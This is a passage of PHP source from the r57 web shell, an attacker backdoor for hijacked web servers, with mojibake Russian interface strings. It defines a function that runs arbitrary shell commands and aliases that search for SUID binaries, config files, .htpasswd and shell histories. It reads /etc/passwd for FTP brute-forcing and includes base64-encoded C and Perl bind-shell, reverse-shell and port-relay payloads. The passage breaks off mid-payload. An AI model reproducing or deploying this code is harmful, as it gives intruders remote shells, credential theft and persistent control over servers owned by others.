764'ru_text75'=>'* можно иÑпользовать регулÑрное выражение',
765'ru_text76'=>'ПоиÑк текÑта в файлах Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ утилиты find',
766'ru_text80'=>'Тип',
767'ru_text81'=>'Сеть',
768'ru_text82'=>'Базы данных',
769'ru_text83'=>'Выполнение SQL запроÑа',
770'ru_text84'=>'SQL запроÑ',
771'ru_text85'=>'Проверка возможноÑти обхода ограничений safe_mode через выполнение команд в MSSQL Ñервере',
772'ru_text86'=>'Скачивание файла Ñ Ñервера',
773'ru_butt14'=>'Скачать',
774'ru_text87'=>'Скачивание файлов Ñ ÑƒÐ´Ð°Ð»ÐµÐ½Ð½Ð¾Ð³Ð¾ ftp-Ñервера',
775'ru_text88'=>'FTP-Ñервер:порт',
776'ru_text89'=>'Файл на ftp Ñервере',
777'ru_text90'=>'Режим передачи',
778'ru_text91'=>'Ðрхивировать в',
779'ru_text92'=>'без архивации',
780'ru_text93'=>'FTP',
781'ru_text94'=>'FTP-брутфорÑ',
782'ru_text95'=>'СпиÑок пользователей',
783'ru_text96'=>'Ðе удалоÑÑŒ получить ÑпиÑок пользователей',
784'ru_text97'=>'Проверено комбинаций: ',
785'ru_text98'=>'Удачных подключений: ',
786'ru_text99'=>'* в качеÑтве логина и Ð¿Ð°Ñ€Ð¾Ð»Ñ Ð¸ÑпользуетÑÑ Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¸Ð· /etc/passwd',
787'ru_text100'=>'Отправка файлов на удаленный фтп Ñервер',
788'ru_text101'=>'ИÑпользовать также перевернутое (user -> resu) Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð² качеÑтве паролÑ',
789'ru_text102'=>'Почта',
790'ru_text103'=>'Отправка пиÑьма',
791'ru_text104'=>'Отправка файла на почтовый Ñщик',
792'ru_text105'=>'Кому',
793'ru_text106'=>'От',
794'ru_text107'=>'Тема',
795'ru_butt15'=>'Отправить',
796'ru_text108'=>'ТекÑÑ‚ пиÑьма',
797'ru_text109'=>'Свернуть',
798'ru_text110'=>'Развернуть',
799'ru_text111'=>'SQL-Сервер : порт',
800'ru_text112'=>'Проверка возможноÑти обхода ограничений safe_mode через иÑпользование функции mb_send_mail',
801'ru_text113'=>'Проверка возможноÑти обхода ограничений safe_mode, проÑмотр лиÑтинга директорий Ñ Ð¸Ñпользованием imap_list',
802'ru_text114'=>'Проверка возможноÑти обхода ограничений safe_mode, проÑмотр Ñодержимого файла Ñ Ð¸Ñпользованием imap_body',
803'ru_text115'=>'Проверка возможноÑти обхода ограничений safe_mode, копирование файлов Ñ compress.zlib:// в copy()',
804'ru_text116'=>'Копировать файл',
805'ru_text117'=>'в',
806'ru_text118'=>'Файл Ñкопирован',
807'ru_text119'=>'Ðе удалоÑÑŒ Ñкопировать файл',
808'ru_err0'=>'Ошибка! Ðе могу запиÑать в файл ',
809'ru_err1'=>'Ошибка! Ðе могу прочитать файл ',
810'ru_err2'=>'Ошибка! Ðе удалоÑÑŒ Ñоздать ',
811'ru_err3'=>'Ошибка! Ðе удалоÑÑŒ подключитьÑÑ Ðº ftp Ñерверу',
812'ru_err4'=>'Ошибка авторизации на ftp Ñервере',
813'ru_err5'=>'Ошибка! Ðе удалоÑÑŒ поменÑть директорию на ftp Ñервере',
814'ru_err6'=>'Ошибка! Ðе удалоÑÑŒ отправить пиÑьмо',
815'ru_err7'=>'ПиÑьмо отправлено');
816/*
817ÐлиаÑÑ‹ команд
818ПозволÑÑŽÑ‚ избежать многократного набора одних и тех-же команд. ( Сделано Ð±Ð»Ð°Ð³Ð¾Ð´Ð°Ñ€Ñ Ð¼Ð¾ÐµÐ¹ природной лени )
819Ð’Ñ‹ можете Ñами добавлÑть или изменÑть команды.
820*/
821$aliases=array(
822'find suid files'=>'find / -type f -perm -04000 -ls',
823'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
824'find sgid files'=>'find / -type f -perm -02000 -ls',
825'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
826'find config.inc.php files'=>'find / -type f -name config.inc.php',
827'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
828'find config* files'=>'find / -type f -name "config*"',
829'find config* files in current dir'=>'find . -type f -name "config*"',
830'find all writable files'=>'find / -type f -perm -2 -ls',
831'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
832'find all writable directories'=>'find / -type d -perm -2 -ls',
833'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
834'find all writable directories and files'=>'find / -perm -2 -ls',
835'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
836'find all service.pwd files'=>'find / -type f -name service.pwd',
837'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
838'find all .htpasswd files'=>'find / -type f -name .htpasswd',
839'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
840'find all .bash_history files'=>'find / -type f -name .bash_history',
841'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
842'find all .mysql_history files'=>'find / -type f -name .mysql_history',
843'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
844'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
845'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
846'list file attributes on a Linux second extended file system'=>'lsattr -va',
847'show opened ports'=>'netstat -an | grep -i listen',
848'----------------------------------------------------------------------------------------------------'=>'ls -la'
849);
850$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";
851$table_up2 = " ::</div></b></font></td></tr><tr><td>";
852$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";
853$table_end1 = "</td></tr>";
854$arrow = " <font face=Webdings color=gray>4</font>";
855$lb = "<font color=black>[</font>";
856$rb = "<font color=black>]</font>";
857$font = "<font face=Verdana size=-2>";
858$ts = "<table class=table1 width=100% align=center>";
859$te = "</table>";
860$fs = "<form name=form method=POST>";
861$fe = "</form>";
862
863if(isset($_GET['users'])) {
864 if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang['ru__text96']."</font></center>"; }
865 else {
866 echo '<center>';
867 foreach($users as $user) { echo $user."<br>"; }
868 echo '</center>';
869 }
870 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
871}
872
873if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
874$dir = @getcwd();
875$unix = 0;
876if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
877if(empty($dir)) {
878 $os = getenv('OS');
879 if(empty($os)) { $os = php_uname(); }
880 if(empty($os)) { $os ="-"; $unix=1; }
881 else {
882 if(@eregi("^win",$os)) { $unix = 0; }
883 else { $unix = 1; }
884 }
885}
886
887if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") {
888 echo $head;
889 if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
890 else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
891 $sr->SearchText(0,0);
892 $res = $sr->GetResultFiles();
893 $found = $sr->GetMatchesCount();
894 $titles = $sr->GetTitles();
895 $r = "";
896 if($found > 0) {
897 $r .= "<TABLE width=100%>";
898 foreach($res as $file=>$v) {
899 $r .= "<TR>";
900 $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
901 $r .= (!$unix)? str_replace("/","\\",$file) : $file;
902 $r .= "</b></font></ TD>";
903 $r .= "</TR>";
904 foreach($v as $a=>$b) {
905 $r .= "<TR>";
906 $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
907 $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
908 $r .= "</TR>\n";
909 }
910 }
911 $r .= "</TABLE>";
912 echo $r;
913 }
914 else {
915 echo "<P align=center><B><font face=Verdana size=-2>".$lang['ru_text56']."</B></font></P>";
916 }
917 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
918 die();
919}
920if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
921$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
922if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
923
924function ws($i) {
925 return @str_repeat(" ",$i);
926}
927function ex($cfe) {
928 $res = '';
929 if (!empty($cfe)) {
930 if(function_exists('exec')) {
931 @exec($cfe,$res);
932 $res = join("\n",$res);
933 }
934 elseif(function_exists('shell_exec')) {
935 $res = @shell_exec($cfe);
936 }
937 elseif(function_exists('system')) {
938 @ob_start();
939 @system($cfe);
940 $res = @ob_get_contents();
941 @ob_end_clean();
942 }
943 elseif(function_exists('passthru')) {
944 @ob_start();
945 @passthru($cfe);
946 $res = @ob_get_contents();
947 @ob_end_clean();
948 }
949 elseif(@is_resource($f = @popen($cfe,"r"))) {
950 $res = "";
951 while(!@feof($f)) { $res .= @fread($f,1024); }
952 @pclose($f);
953 }
954 }
955 return $res;
956}
957function get_users() {
958 $users = array();
959 $rows = file('/etc/passwd2');
960 if (!$rows && !$safe_mode) {
961 $t = ex('cat /etc/passwd');
962 $t = explode("\n", $t);
963 foreach ($t as $s) {
964 if (substr($s,0,1)=='#' || !is_integer(strpos($s, ':'))) continue; //skip comment & empty strings
965 $s = explode(':', $s);
966 $users[] = $s[0];
967 }
968 return $users;
969 } else {
970 foreach ($rows as $string) {
971 $user = @explode(":",$string);
972 if(substr($string,0,1)!='#') array_push($users,$user[0]);
973 }
974 return $users;
975 }
976 return 0;
977}
978function err($n,$txt='') {
979echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>';
980echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
981if(!empty($txt)) { echo " $txt"; }
982echo '</b></div></font></td></tr></table>';
983return null;
984}
985function perms($mode) {
986if (!$GLOBALS['unix']) return 0;
987if( $mode & 0x1000 ) { $type='p'; }
988else if( $mode & 0x2000 ) { $type='c'; }
989else if( $mode & 0x4000 ) { $type='d'; }
990else if( $mode & 0x6000 ) { $type='b'; }
991else if( $mode & 0x8000 ) { $type='-'; }
992else if( $mode & 0xA000 ) { $type='l'; }
993else if( $mode & 0xC000 ) { $type='s'; }
994else $type='u';
995$owner["read"] = ($mode & 00400) ? 'r' : '-';
996$owner["write"] = ($mode & 00200) ? 'w' : '-';
997$owner["execute"] = ($mode & 00100) ? 'x' : '-';
998$group["read"] = ($mode & 00040) ? 'r' : '-';
999$group["write"] = ($mode & 00020) ? 'w' : '-';
1000$group["execute"] = ($mode & 00010) ? 'x' : '-';
1001$world["read"] = ($mode & 00004) ? 'r' : '-';
1002$world["write"] = ($mode & 00002) ? 'w' : '-';
1003$world["execute"] = ($mode & 00001) ? 'x' : '-';
1004if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
1005if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
1006if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
1007$s=sprintf("%1s", $type);
1008$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
1009$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
1010$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
1011return trim($s);
1012}
1013function in($type,$name,$size,$value,$checked=0) {
1014 $ret = "<input type=".$type." name=".$name." ";
1015 if($size != 0) { $ret .= "size=".$size." "; }
1016 $ret .= "value=\"".$value."\"";
1017 if($checked) $ret .= " checked";
1018 return $ret.">";
1019}
1020function which($pr) {
1021$path = ex("which $pr");
1022if(!empty($path)) { return $path; } else { return $pr; }
1023}
1024function cf($fname,$text) {
1025 $w_file=@fopen($fname,"w") or err(0);
1026 if($w_file) {
1027 @fputs($w_file,@base64_decode($text));
1028 @fclose($w_file);
1029 }
1030}
1031function sr($l,$t1,$t2) {
1032 return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
1033}
1034if (!@function_exists("view_size")) {
1035function view_size($size) {
1036 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
1037 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
1038 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
1039 else {$size = $size . " B";}
1040 return $size;
1041}
1042}
1043 function DirFilesR($dir,$types='') {
1044 $files = Array();
1045 if(($handle = @opendir($dir))) {
1046 while (false !== ($file = @readdir($handle))) {
1047 if ($file != "." && $file != "..") {
1048 if(@is_dir($dir."/".$file))
1049 $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
1050 else {
1051 $pos = @strrpos($file,".");
1052 $ext = @substr($file,$pos,@strlen($file)-$pos);
1053 if($types) {
1054 if(@in_array($ext,explode(';',$types)))
1055 $files[] = $dir."/".$file;
1056 }
1057 else
1058 $files[] = $dir."/".$file;
1059 }
1060 }
1061 }
1062 @closedir($handle);
1063 }
1064 return $files;
1065 }
1066 class SearchResult {
1067 var $text;
1068 var $FilesToSearch;
1069 var $ResultFiles;
1070 var $FilesTotal;
1071 var $MatchesCount;
1072 var $FileMatschesCount;
1073 var $TimeStart;
1074 var $TimeTotal;
1075 var $titles;
1076 function SearchResult($dir,$text,$filter='') {
1077 $dirs = @explode(";",$dir);
1078 $this->FilesToSearch = Array();
1079 for($a=0;$a<count($dirs);$a++)
1080 $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
1081 $this->text = $text;
1082 $this->FilesTotal = @count($this->FilesToSearch);
1083 $this->TimeStart = getmicrotime();
1084 $this->MatchesCount = 0;
1085 $this->ResultFiles = Array();
1086 $this->FileMatchesCount = Array();
1087 $this->titles = Array();
1088 }
1089 function GetFilesTotal() { return $this->FilesTotal; }
1090 function GetTitles() { return $this->titles; }
1091 function GetTimeTotal() { return $this->TimeTotal; }
1092 function GetMatchesCount() { return $this->MatchesCount; }
1093 function GetFileMatchesCount() { return $this->FileMatchesCount; }
1094 function GetResultFiles() { return $this->ResultFiles; }
1095 function SearchText($phrase=0,$case=0) {
1096 $qq = @explode(' ',$this->text);
1097 $delim = '|';
1098 if($phrase)
1099 foreach($qq as $k=>$v)
1100 $qq[$k] = '\b'.$v.'\b';
1101 $words = '('.@implode($delim,$qq).')';
1102 $pattern = "/".$words."/";
1103 if(!$case)
1104 $pattern .= 'i';
1105 foreach($this->FilesToSearch as $k=>$filename) {
1106 $this->FileMatchesCount[$filename] = 0;
1107 $FileStrings = @file($filename) or @next;
1108 for($a=0;$a<@count($FileStrings);$a++) {
1109 $count = 0;
1110 $CurString = $FileStrings[$a];
1111 $CurString = @Trim($CurString);
1112 $CurString = @strip_tags($CurString);
1113 $aa = '';
1114 if(($count = @preg_match_all($pattern,$CurString,$aa))) {
1115 $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
1116 $this->ResultFiles[$filename][$a+1] = $CurString;
1117 $this->MatchesCount += $count;
1118 $this->FileMatchesCount[$filename] += $count;
1119 }
1120 }
1121 }
1122 $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
1123 }
1124 }
1125 function getmicrotime() {
1126 list($usec,$sec) = @explode(" ",@microtime());
1127 return ((float)$usec + (float)$sec);
1128 }
1129$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
1130A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
1131GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
1132b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
1133pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
1134NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
1135ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
1136ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
11377DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
11389tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
11392ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
1140dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
1141lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
1142$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
1143VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
1144JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
1145TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
1146lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
1147Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
1148Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
1149lIENPTk47DQpleGl0IDA7DQp9DQp9";
1150$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
1151aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
1152hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
1153sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
1154kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
1155KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
1156OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1157$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
1158BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
1159SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
1160KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
1161sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
1162Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
1163QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
1164Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1165$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
1166x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
1167HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
1168aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
1169lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
1170xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
1171W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
1172LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
1173udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
11740KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
1175iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
1176KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
1177gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
1178hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
1179iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
1180ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
1181vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
1182AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
1183QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
1184ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
1185gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
1186wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
118729jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
1188MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
1189gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
11905zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
1191HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
1192dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
